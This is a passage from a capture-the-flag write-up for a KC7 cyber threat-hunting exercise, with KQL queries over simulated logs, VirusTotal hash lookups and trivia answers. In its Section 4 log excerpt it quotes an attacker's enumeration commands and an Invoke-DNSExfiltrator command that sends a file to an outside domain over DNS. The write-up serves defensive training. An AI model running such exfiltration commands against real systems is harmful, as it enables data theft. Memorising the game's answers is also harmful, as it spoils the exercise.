| where timestamp > datetime('2023-05-17T09:20:15Z')
| where process_name in ('powershell.exe', 'cmd.exe')

Attacker seems to have enumerated the system with first commands and finally they used Invoke-DNSExfiltrator: DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.

cmd.exe whoami
cmd.exe ipconfig /all
cmd.exe net localgroup administrators /domain
cmd.exe nltest /dc:list
C:\Windows\System32\cmd.exe nslookup google.com
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" 
C:\Windows\System32\powershell.exe powershell Get-WmiObject -Class Win32_NetworkAdapterConfiguration
Import-Module Invoke-DNSExfiltrator.ps1
Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500
C:\Windows\System32\cmd.exe nslookup google.com

Filter for DNSExfiltrator and take the first time this command was executed.

ProcessEvents
| where process_commandline startswith 'Invoke-DNSExfiltrator'
| take 1

16: What MITRE Technique is this aligned with?

(T1048) Exfiltration Over Alternative Protocol

17: How many hosts are affected by this action?

ProcessEvents
| where process_commandline startswith 'Invoke-DNSExfiltrator'
| count 

18: How many distinct job roles were affected by this action?

let effectedUsers = ProcessEvents
| where process_commandline startswith 'Invoke-DNSExfiltrator'
| distinct username;
Employees
| where username in (effectedUsers)
| distinct role

Section 5: A clean sweep ๐Ÿงน

1: Look up the IP addresses from Q8. Which IP address is in the country that hosted the winter olympics a few years ago?

We can use MaxMind GeoIP tool to lookup the IPs

IP Address
Location
Network
Postal Code
Lat / Long / Accuracy Radius
ISP / Organization
Domain
Connection Type

156.155.83.236

Vanderbijlpark, Gauteng, South Africa (ZA), Africa

156.155.83.128/25

1911

-26.7005, 27.8179 (50 km)

Axxess Networks, Axxess

internet.co.za

Cable/DSL

215.168.239.75

United States (US), North America

215.160.0.0/11

-

37.751, -97.822 (1000 km)

US Military

-

Cable/DSL

223.9.222.59

China (CN), Asia

223.9.128.0/17

-

34.7732, 113.722 (1000 km)

China Telecom

-

Cable/DSL

43.185.57.65

China (CN), Asia

43.184.0.0/14

-

34.7732, 113.722 (1000 km)

-

-

-

195.242.92.76

Poland (PL), Europe

195.242.92.0/23

-

52.2394, 21.0362 (200 km)

Netlink Sp. z o o

nq.pl

Cable/DSL

124.138.210.88

South Korea (KR), Asia

124.138.192.0/19

-

37.5112, 126.9741 (200 km)

SK Broadband, SK Telecom

-

Cellular

192.91.130.34

United States (US), North America

192.91.128.0/22

-

37.751, -97.822 (1000 km)

-

-

-

190.198.227.17

Caracas, Distrito Federal, Venezuela (VE), South America

190.198.226.0/23

-

10.4873, -66.8738 (500 km)

Cantv

cantv.net

Cable/DSL

215.239.162.10

United States (US), North America

215.224.0.0/11

-

37.751, -97.822 (1000 km)

US Military

-

Cable/DSL

Im writing in 2024 and don't know when the challenge was actually released, but probably in 2023?

I refered to the official github repository and then Castle&Sand blame. Latest commit is 10 month old, so that places creation year to 2023!

Some OSINT: List of Olympic Games host cities

2023 doesnt have Olympic games. Last Winter Olympic games was in China, but that's 2022 and question mentions a few years ago. Before China it was South Korea in 2018.

2: Which one hosted the winter Olympics recently? If there's more than one, post any of them.

Discussed in Question 1, so China.

3: Search the malicious files found in Q12 on VirusTotal.com. Which file appears to not be malicious? Copy and paste the SHA256 hash.

let email = 'castleandsand_official@outlook.com';
let replyToEmails = Email
| where sender == email
| where recipient endswith 'castleandsand.com'
| distinct reply_to;
let affectedEmails = Email
| where sender in (replyToEmails)
| distinct recipient;
let affectedEmployees = Employees
| where email_addr in (affectedEmails)
| distinct username; // 1.
let Q6Output = AuthenticationEvents
| where not( src_ip in (Employees | distinct ip_addr) ) // 2.
| where username in (affectedEmployees) // 3.
| where result == 'Successful Login' // 4.
| distinct src_ip;
let Q9Output = PassiveDns
| where ip in (Q6Output)
| distinct domain;
let requestedFilenames = OutboundNetworkEvents
| where url has_any (Q9Output)
| distinct tostring(parse_path(url).Filename);
let downloadedFiles = FileCreationEvents
| where filename in (requestedFilenames)
| distinct filename;
let downloadedFilesHosts = FileCreationEvents
| where filename in (requestedFilenames)
| distinct hostname;
let maliciousFiles = FileCreationEvents
| where hostname in (downloadedFilesHosts)
| order by timestamp asc
| extend next_filename = next(filename, 1)
| where filename in (downloadedFiles)
| distinct next_filename;
FileCreationEvents
| where filename in (maliciousFiles)
| distinct sha256

Using the script from Section 3 Question 13 I checked small summary of hashes.

{'error': {'code': 'NotFoundError', 'message': 'File "28a181e8ebeda37943d17366eee83a5b677252891be6b4889c6a94f7e4b22671" not found'}}

Hash: 3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f
Meaningful Name: TSMSISrv.DLL
Popular Thread Label: trojan.shadowpad/vmprotect
Malicious: 57 / 76

{'error': {'code': 'NotFoundError', 'message': 'File "9d1d090ca4fca82b66ac3731c133fe6e8e1be331cfd6d6e378cebaede5afe006" not found'}}

Hash: c51c5bbc6f59407286276ce07f0f7ea994e76216e0abe34cbf20f1b1cbd9446d
Meaningful Name: <Not Found>
Popular Thread Label: trojan.winnti/byhw
Malicious: 56 / 76

{'error': {'code': 'NotFoundError', 'message': 'File "f822ef47a30b07308f1fa0e2dc261ebec77d0d173b0afaa27635b6511771a454" not found'}}

Hash: 5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90
Meaningful Name: TSMSISrv.DLL
Popular Thread Label: trojan.shadowpad/vmprotect
Malicious: 60 / 76

Hash: bb3d35cba3434f053280fc2887a7e6be703505385e184da4960e8db533cf4428
Meaningful Name: bb3d35cba3434f053280fc2887a7e6be703505385e184da4960e8db533cf4428.exe
Popular Thread Label: trojan.darkpink/doina
Malicious: 50 / 74

Hash: 63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7
Meaningful Name: 63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7.bin
Popular Thread Label: trojan.winnti/abcp
Malicious: 58 / 76

Hash: e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496
Meaningful Name: procdump
Popular Thread Label: <Not Found>
Malicious: 0 / 76

Hash: 490c3e4af829e85751a44d21b25de1781cfe4961afdef6bb5759d9451f530994
Meaningful Name: 36711896cfeb67f599305b590f195aec.json
Popular Thread Label: trojan.winnti/lazy
Malicious: 60 / 76

{'error': {'code': 'NotFoundError', 'message': 'File "35ca10384a75de18555c5bf5265e2959ee7d65c4b9e21e0764c853949e777c38" not found'}}

{'error': {'code': 'NotFoundError', 'message': 'File "276f0c96b3d75afdf7ef899890a52db22242121c89c96bb97712a97aee043ea1" not found'}}

procdump was obvious, but always verify.

4: Who signed the file?

VirusTotal Report: Details

5: Research the malware files some more. Which threat actor group may have used these in the past?

Question 3 output has only 1 Meaningful Name with .exe extension:

VirusTotal Report: Community

6: For what you found in Section 4, Q15, who developed this malware? Paste their username.

S4Q15: https://github.com/Arno0x/DNSExfiltrator

Section 6: Security Jeopardy REDUX ๐Ÿ•บ

1: What is KC7 Cyber's Twitter Handle?

KC7cyber

2: What was the Sharky Ransomware Gang's Twitter Handle?

From S3Q1: webyteyourdata

3: What KC7 Learning Module did we post on November 26, 2023? Copy and paste the name of the module

https://kc7cyber.com > Resources > Learning Modules > JARM Fingerprinting

4: What was the name of the company from KC7's game module about the culinary arts?

https://kc7cyber.com/modules > Search food > Dai Wok Foods

5: How many bits are in a byte?

6: How many megabytes are in a gigabyte?

7: Who on Twitter likes to IMPOSE COST to adversaries, and really likes Spiderman?

Googling the question literally ledme to him, lol

https://x.com/ImposeCost

8: What cybersecurity conference is focused on Detection Engineering And Threat Hunting? Provide the domain name of their website.

https://deathcon.io

           DEATHCon
Detection Engineering and Threat Hunting
16-17 November 2024

9: What SssSssSecurity conference focused on cyber crime is typically hosted recently in Arlington VA?

From google search it sounded like https://www.cyberwarcon.com, but it turned out to be https://www.sleuthcon.com (~Snakes)

10: What recent ZERO DAY vulnerability in late May / June 2023 where it was reported that the LACE TEMPEST group took responsibility for it? Copy & paste the CVE.

Microsoft: Lace Tempest Hackers Behind Active Exploitation of MOVEit Transfer App: "Exploitation is often followed by deployment of a web shell with data exfiltration capabilities," the Microsoft Threat Intelligence team said in a series of tweets today. "CVE-2023-34362 allows attackers to authenticate as any user."

11: Who is claiming responsibility for the DDOS attacks at a well know tech company? (June 2023)

Anonymous Sudan (Storm-1359) campaign against Microsoft

12: ๐Ÿคซ ๐Ÿ“ก You intercepted a secret transmission

Message: eWV2dG5pbnkgcWFuIGxib2VudWY=

The base64 decoded seemed like ROT13, but after trying each rotation nothing came up. But what if it was rotated and then reversed and then base64 encoded?

โ””โ”€$ echo 'eWV2dG5pbnkgcWFuIGxib2VudWY=' | base64 -d | rev | tr 'A-Za-z' 'N-ZA-Mn-za-m'
sharboy and lavagirl

13: Binary blob

01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01111001 01101111 01110101 01110100 01110101 00101110 01100010 01100101 00101111 01100100 01010001 01110111 00110100 01110111 00111001 01010111 01100111 01011000 01100011 01010001

Decode the binary code into ascii. Binary -> Integer -> Ascii

โ””โ”€$ py
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> s='01101000 01110100 01110100 01110000 01110011 00111010 00101111 00101111 01111001 01101111 01110101 01110100 01110101 00101110 01100010 01100101 00101111 01100100 01010001 01110111 00110100 01110111 00111001 01010111 01100111 01011000 01100011 01010001'
>>> ''.join(chr(int(i, 2)) for i in s.split())
'https://youtu.be/dQw4w9WgXcQ'

I previously had to leave for some time and questions got changed, leaving solved ones:

5: Who's KC7's Software Engineering Intern?

OSINT the company About Us

6: Who's KC7's Content Development Intern?

Same approach as Question 5

Last updated